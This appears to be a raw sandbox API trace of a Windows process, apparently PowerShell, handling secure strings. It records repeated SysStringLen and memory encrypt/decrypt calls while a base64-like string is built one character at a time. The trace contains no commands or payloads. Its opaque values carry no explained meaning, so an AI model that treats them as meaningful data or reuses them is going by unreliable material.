(param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x4903\x2d76\xc1c0\x18b4\x80ba\x8de9\xfee3\xd53e") returned 0x28 [0135.885] SystemFunction041 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.885] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe63XIbWErDDI") returned 0x28 [0135.885] SystemFunction040 (in: Memory=0x4383e64, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383e64) returned 0x0 [0135.885] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x4e58\x11fb\x8d20\xd6c2\x3e21\xf0f6\x1ca8\xa302") returned 0x28 [0135.885] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x4e58\x11fb\x8d20\xd6c2\x3e21\xf0f6\x1ca8\xa302") returned 0x28 [0135.885] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x4e58\x11fb\x8d20\xd6c2\x3e21\xf0f6\x1ca8\xa302") returned 0x28 [0135.885] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x4e58\x11fb\x8d20\xd6c2\x3e21\xf0f6\x1ca8\xa302") returned 0x30 [0135.885] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.885] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe63XIbWErDDIiᇑ﹨ퟄ﫡奓鏑") returned 0x30 [0135.885] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.885] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x4e58\x11fb\x8d20\xd6c2\x3e21\xf0f6\x1ca8\xa302\x309e\xf6e1\x35bd\xb211\x399e\x6c60\x2d39\xb8aa") returned 0x30 [0135.885] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x4e58\x11fb\x8d20\xd6c2\x3e21\xf0f6\x1ca8\xa302\x309e\xf6e1\x35bd\xb211\x399e\x6c60\x2d39\xb8aa") returned 0x30 [0135.885] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.885] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe63XIbWErDDIi0﹨ퟄ﫡奓鏑") returned 0x30 [0135.885] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.886] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x4e58\x11fb\x8d20\xd6c2\x3e21\xf0f6\x1ca8\xa302\x7540\xcd05\xfa4e\xfd03\xb971\x7682\x6751\x485d") returned 0x30 [0135.886] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x4e58\x11fb\x8d20\xd6c2\x3e21\xf0f6\x1ca8\xa302\x7540\xcd05\xfa4e\xfd03\xb971\x7682\x6751\x485d") returned 0x30 [0135.886] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.886] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe63XIbWErDDIi0oퟄ﫡奓鏑") returned 0x30 [0135.886] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.886] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x4e58\x11fb\x8d20\xd6c2\x3e21\xf0f6\x1ca8\xa302\x2b78\xfec8\x55dd\x445b\x4097\x7dcd\xe396\x1f42") returned 0x30 [0135.886] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x42cb\xe15a\x54b2\x5b37\xf7f4\xa94d\xfe0b\xe6b8\x1ee5\x39f5\x1278\x6b8f\x22d\xe73b\x7372\x7254\x789a\xde0\x1463\xc9ed\xd142\x94bc\x5d59\x6eee\x4e58\x11fb\x8d20\xd6c2\x3e21\xf0f6\x1ca8\xa302\x2b78\xfec8\x55dd\x445b\x4097\x7dcd\xe396\x1f42") returned 0x30 [0135.886] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.886] SysStringLen (param_1="XENPTJN0xxol9T9tcbvI9Md/lfYPe63XIbWErDDIi0o=﫡奓鏑") returned 0x30 [0135.886] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.886] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.887] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.887] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.888] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0135.888] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.888] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.888] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.888] SysStringLen (param_1="") returned 0x8 [0135.888] SysStringLen (param_1="Y") returned 0x8 [0135.888] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.889] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.889] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.889] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.889] SysStringLen (param_1="YW") returned 0x8 [0135.889] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.889] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.889] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.889] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.889] SysStringLen (param_1="YWM") returned 0x8 [0135.889] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.889] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.889] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.889] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.889] SysStringLen (param_1="YWM1") returned 0x8 [0135.889] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.889] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.889] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.889] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.890] SysStringLen (param_1="YWM1O") returned 0x8 [0135.890] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.890] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.890] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.890] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.890] SysStringLen (param_1="YWM1OT") returned 0x8 [0135.890] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.890] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.890] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.890] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.890] SysStringLen (param_1="YWM1OTE") returned 0x8 [0135.890] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.890] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.890] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.890] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.890] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0135.890] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.890] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.891] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.891] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.891] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0135.891] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.891] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0135.891] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.891] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.891] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.891] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.891] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0135.891] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.891] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.891] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.891] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.891] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0135.891] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.891] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.892] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.892] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.892] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0135.892] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.892] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.892] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.892] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.892] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0135.892] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.892] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.892] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.892] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.892] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0135.892] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.892] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.892] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.892] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.893] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0135.893] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.893] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.893] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.893] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.893] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0135.893] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.893] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.893] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.893] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.893] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0135.893] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.893] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0135.893] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.893] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.893] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.893] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.893] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0135.893] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.894] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.894] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.894] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.894] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0135.894] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.894] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.894] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.894] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.894] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0135.894] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.894] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.894] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.894] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.894] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0135.894] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.894] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.894] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.894] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.895] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0135.895] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.895] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.895] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.895] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.895] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0135.895] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.895] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.895] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.895] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.895] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0135.895] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.895] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.895] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.895] SysStringLen 